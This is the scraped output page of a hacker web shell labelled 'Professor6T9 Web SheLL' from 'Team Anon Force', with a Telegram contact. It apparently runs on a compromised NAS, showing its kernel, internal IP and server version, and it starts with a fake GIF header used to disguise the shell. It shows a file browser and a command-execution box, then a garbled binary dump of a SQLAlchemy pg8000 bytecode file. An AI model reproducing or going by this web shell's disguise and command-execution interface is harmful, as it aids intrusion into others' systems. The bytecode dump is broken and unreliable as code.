GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux SamCT211 4.4.302+ #86009 SMP Wed Nov 26 18:19:20 CST 2025 x86_64
nginx/1.23.1
192.168.4.211
/
volume1
/
@appstore
/
Contacts
/
radicale
/
site-packages
/
sqlalchemy
/
dialects
/
postgresql
/
__pycache__
[ HOME ]
Exec
Submit
pg8000.cpython-38.pyc
U �}�h�% � @ sp d Z ddlZddlZddlmZ ddlmZ ddlmZ ddlmZ ddlmZ dd lm Z dd lm Z ddlmZ ddlm Z d dlmZ d dlmZ d dlmZ d dlmZ d dlmZ zddlmZ W n ek r� dZY nX G dd� dej�ZG dd� de�ZG dd� de �ZG dd� de�ZG dd� de �ZG dd� de�ZG dd � d e �Z G d!d"� d"e�Z!e!Z"dS )#a� .. dialect:: postgresql+pg8000 :name: pg8000 :dbapi: pg8000 :connectstring: postgresql+pg8000://user:password@host:port/dbname[?key=value&key=value...] :url: https://pythonhosted.org/pg8000/ .. note:: The pg8000 dialect is **not tested as part of SQLAlchemy's continuous integration** and may have unresolved issues. The recommended PostgreSQL dialect is psycopg2. .. _pg8000_unicode: Unicode ------- pg8000 will encode / decode string values between it and the server using the PostgreSQL ``client_encoding`` parameter; by default this is the value in the ``postgresql.conf`` file, which often defaults to ``SQL_ASCII``. Typically, this can be changed to ``utf-8``, as a more useful default:: #client_encoding = sql_ascii # actually, defaults to database # encoding client_encoding = utf8 The ``client_encoding`` can be overridden for a session by executing the SQL: SET CLIENT_ENCODING TO 'utf8'; SQLAlchemy will execute this SQL on all new connections based on the value passed to :func:`_sa.create_engine` using the ``client_encoding`` parameter:: engine = create_engine( "postgresql+pg8000://user:pass@host/dbname", client_encoding='utf8') .. _pg8000_isolation_level: pg8000 Transaction Isolation Level ------------------------------------- The pg8000 dialect offers the same isolation level settings as that of the :ref:`psycopg2 <psycopg2_isolation_level>` dialect: * ``READ COMMITTED`` * ``READ UNCOMMITTED`` * ``REPEATABLE READ`` * ``SERIALIZABLE`` * ``AUTOCOMMIT`` .. versionadded:: 0.9.5 support for AUTOCOMMIT isolation level when using pg8000. .. seealso:: :ref:`postgresql_isolation_level` :ref:`psycopg2_isolation_level` � N� )�_DECIMAL_TYPES)�_FLOAT_TYPES)� _INT_TYPES)� PGCompiler)� PGDialect)�PGExecutionContext)�PGIdentifierPreparer)�UUID)�JSON� )�exc)� processors)�types)�util)�quoted_namec @ s e Zd Zdd� ZdS )� _PGNumericc C sv | j rB|tkrt�tj| j�S |tks.|tkr2d S t � d| ��n0|tkrNd S |tks^|tkrdtjS t � d| ��d S )NzUnknown PG numeric type: %d)Z asdecimalr r Zto_decimal_processor_factory�decimal�DecimalZ_effective_decimal_return_scaler r r ZInvalidRequestErrorZto_float��self�dialect�coltype� r �L/tmp/pip-target-hu2ovxdm/lib/python/sqlalchemy/dialects/postgresql/pg8000.py�result_processor` s$ ���z_PGNumeric.result_processorN)�__name__� __module__�__qualname__r r r r r r _ s r c @ s e Zd Zdd� ZdS )�_PGNumericNoBindc C s d S �Nr )r r r r r �bind_processorz s z_PGNumericNoBind.bind_processorN)r r r r! r r r r r y s r c s e Zd Z� fdd�Z� ZS )�_PGJSONc s$ |j dkrd S tt| ��||�S d S )N)r � r )�_dbapi_version�superr"